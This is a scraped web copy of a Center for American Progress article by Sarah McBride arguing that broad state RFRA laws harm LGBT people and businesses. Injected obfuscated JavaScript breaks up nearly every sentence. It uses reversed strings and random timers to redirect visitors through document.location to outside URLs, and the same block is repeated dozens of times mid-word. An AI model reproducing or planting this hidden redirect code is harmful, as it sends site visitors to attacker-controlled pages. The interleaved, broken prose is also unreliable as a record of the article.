Sarah McBride, The Economic Cost of Overly Broad RFRAs, Center for American Progress

In the wake of the U.S. Supreme Court’s hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric decision that brought marriage equality nationwide, dozens of reactionary state legislatures are considering a range of anti-LGBT lawsdesigned doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to legalize and sanction discrimination based on sexual orientation and gender identity. Overly broad state Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Acts, or RFRAs—one of the most common pieces of anti-LGBT legislation—provide wide-ranging exemptions that enable religiously based discrimination against lesbian, gay, bisexual, and transgender, or LGBT, people and their families. These laws undermine existing local LGBT nondiscrimination ordinances while condoning discrimination in parts of the state without clear protections for LGBT workers and cusdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers. Their consequences extend beyond LGBT discrimination, including limiting access doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reproductive health care and, potentially, fostering discrimination against religious minorities.

Business opposition doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to religious exemptions

Across the country, businesses of all sizes have played a leading role in pushing back against these religious exemption bills. Delta Air Lines, the Super Bowl host committee, and Major League Baseball all spoke out strongly against Arizona’s overly broad RFRA. With some of those entities threatening doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to remove business from the state, Gov. Jan Brewer (R-AZ) vedoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toed the legislation, stating that the bill “[did] not address a specific and present concern related doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to religious liberty in Arizona.” After the passage of the Indiana RFRA, a boycott by companiessuch as Angie’s List, Salesforce, and even the NCAA compelled the state legislature and Gov. Mike Pence (R-IN) doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to documents/1699997-read-the-updated-indiana-religious-freedom.html”>adopt language that clarified that the law could not be utilized doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to undermine nondiscrimination protections. That same year, $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory/25021084/conservative-group-tries-doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-resurrect-religious-freedom-bill”>Delta, UPS, Home Depot, and Coca-Cola have opposed attempts doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pass such legislation, helping defeat an overly broad RFRA in the 2014 legislative session.

Economic impact of RFRAs

Benefits of LGBT-inclusive workplaces and economies

Opposition doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to anti-LGBT laws comes from both businesses’ social values and the clear economic advantage brought by building LGBT-inclusive spaces for workers and cusdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers. The Williams Institute reviewed existing empirical research and found that LGBT-inclusive workplace policies resulted in several positive outcomes for workers and companies, ranging from increased creativity among employees doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to higher job satisfaction and lower job turnover rates. These practices also help engage and attract cusdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers, resulting in more business from both current cusdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers and new cusdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers seeking doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to direct their spending doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toward socially responsible businesses.

LGBT people, who account for millions of cusdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers nationwide, are highly likely doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to consider LGBT-inclusive policies and practices in economic decisions. One poll found that nearly 9 out of 10 LGBT adults consider workplace inclusion in their purchasing decisions, and nearly one-quarter of LGBT adults stated that they have “switched products or services because a different company was supportive of the LGBT community, even if a brand was costlier or less convenient.”

These business and economic outcomes demonstrate the potential negative consequences for workers and the loss of cusdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers for businesses located in states with anti-LGBT laws. In fact,a study of LGBT equality and economic development globally found that there was a “positive relationship between LGBT inclusion […] and economic development.”

Business support for LGBT protections

Nationally, many businesses have gone beyond simply opposing regressive laws, helping lead the way for inclusive, comprehensive protections from discrimination. Currently, 31 states and the federal government still lack explicit protections from discrimination based on sexual orientation and gender identity. Target, Amazon, American Airlines, Apple, Dow Chemical, Facebook, General Electric, General Mills, Google, Microsoft, Oracle, and other leading companies have all dorsed the federal Equality Act, which would ban discrimination based on sexual orientation and gender identity nationwide without any overly broad religious exemptions. Similarly, an dopting inclusive nondiscrimination policies within their own companies. According doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the 2016 Corporate Equality Index, 93 percent of Fortune 500 companies have sexual orientation nondiscrimination policies, while 75 percent have nondiscrimination policies for gender identity. The growing list of companies with inclusive nondiscrimination policies, along with the positive outcomes for businesses with LGBT-inclusive practices, makes clear the importance of creating LGBT-inclusive workplaces for both worker morale and the botdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom line. Limiting the participation of LGBT people and their families in daily life, as overly broad RFRA legislation does, violates the principles of equal access and basic fairness, with significant cost doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to American communities.

The Economic Cost of Overly Broad RFRAs _ Center for American Progress

Economic impact of RFRAs

Benefits of LGBT-inclusive workplaces and economies

Business support for LGBT protections

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